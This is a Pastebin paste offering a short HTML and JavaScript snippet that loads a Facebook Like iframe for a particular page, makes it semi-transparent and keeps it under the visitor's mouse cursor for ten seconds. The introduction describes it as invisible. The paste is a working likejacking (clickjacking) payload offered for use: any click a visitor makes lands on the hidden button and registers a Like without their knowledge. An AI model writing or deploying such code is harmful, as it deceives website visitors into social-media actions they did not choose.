Advertisement
Guest User

Untitled

a guest
Jun 19th, 2015
314
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. The like button will go away in 10 seconds (and you can edit how long it will show) It will also be invisable in the script.
  2.  
  3. <head><script type=&quot;text/javascript&quot;>var sc_project=6588615;var sc_invisible=0;var sc_security=&quot;b4362c6f&quot;;var sc_text=1;</script>
  4. </head>
  5.  
  6.  
  7.  
  8. <body>
  9. <script src=&quot;jquery-1.4.2.min.js&quot; type=&quot;text/javascript&quot;></script>
  10. <script type=&quot;text/javascript&quot;>
  11. // Declaration of global variables
  12. var opacity = 0.6;
  13. var time = 10000;
  14.  
  15. if ((document.getElementById) && window.addEventListener || window.attachEvent) { (function () {
  16.                         var b = &quot;#ff0000&quot;;
  17.                         var d = document;
  18.                         var c = -10;
  19.                         var f = -10;
  20.                         var r;
  21.                         var g = &quot;&quot;;
  22.                         var h = document.getElementsByTagName('div').length;
  23.                         var i = &quot;<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FHow-to-ebooks%2F273569072671123'&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:&quot; + opacity + &quot;;filter:alpha(opacity=&quot; + (opacity * 100) + &quot;);'></iframe>&quot;;
  24.                         document.write(i);
  25.                         var j = document.getElementById(&quot;theiframe&quot;);
  26.                         document.getElementsByTagName('body')[0].appendChild(j);
  27.                         var k = &quot;px&quot;;
  28.                         var l = (typeof window.innerWidth == &quot;number&quot;);
  29.                         var m = (typeof window.pageYOffset == &quot;number&quot;);
  30.                         if (l) r = window;
  31.                         else {
  32.                                     if (d.documentElement && typeof d.documentElement.clientWidth == &quot;number&quot; && d.documentElement.clientWidth != 0) r = d.documentElement;
  33.                                     else {
  34.                                                 if (d.body && typeof d.body.clientWidth == &quot;number&quot;) r = d.body
  35.                                     }
  36.                         }
  37.                         if (time != 0) {
  38.                                     setTimeout(function () {
  39.                                                 document.getElementsByTagName('body')[0].removeChild(j);
  40.                                                 if (window.addEventListener) {
  41.                                                             document.removeEventListener(&quot;mousemove&quot;, mouse, false)
  42.                                                 } else if (window.attachEvent) {
  43.                                                             document.detachEvent(&quot;onmousemove&quot;, mouse)
  44.                                                 }
  45.                                     },
  46.                                     time)
  47.                         }
  48.                         function scrl(a) {
  49.                                     var y, x;
  50.                                     if (m) {
  51.                                                 y = r.pageYOffset;
  52.                                                 x = r.pageXOffset
  53.                                     } else {
  54.                                                 y = r.scrollTop;
  55.                                                 x = r.scrollLeft
  56.                                     }
  57.                                     return (a == 0) ? y: x
  58.                         }
  59.                         function mouse(e) {
  60.                                     var a = (m) ? window.pageYOffset: 0;
  61.                                     if (!e) e = window.event;
  62.                                     if (typeof e.pageY == 'number') {
  63.                                                 c = e.pageY - 5 - a;
  64.                                                 f = e.pageX - 4
  65.                                     } else {
  66.                                                 c = e.clientY - 6 - a;
  67.                                                 f = e.clientX - 6
  68.                                     }
  69.                                     g.top = c + scrl(0) + k;
  70.                                     g.left = f + k
  71.                         }
  72.                         function ani() {
  73.                                     g.top = c + scrl(0) + k;
  74.                                     setTimeout(ani, 300)
  75.                         }
  76.                         function init() {
  77.                                     g = document.getElementById(&quot;theiframe&quot;).style;
  78.                                     ani()
  79.                         }
  80.                         if (window.addEventListener) {
  81.                                     window.addEventListener(&quot;load&quot;, init, false);
  82.                                     document.addEventListener(&quot;mousemove&quot;, mouse, false)
  83.                         } else if (window.attachEvent) {
  84.                                     window.attachEvent(&quot;onload&quot;, init);
  85.                                     document.attachEvent(&quot;onmousemove&quot;, mouse)
  86.                         }
  87.             })()
  88. }
  89.  
  90. </script>
  91. </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement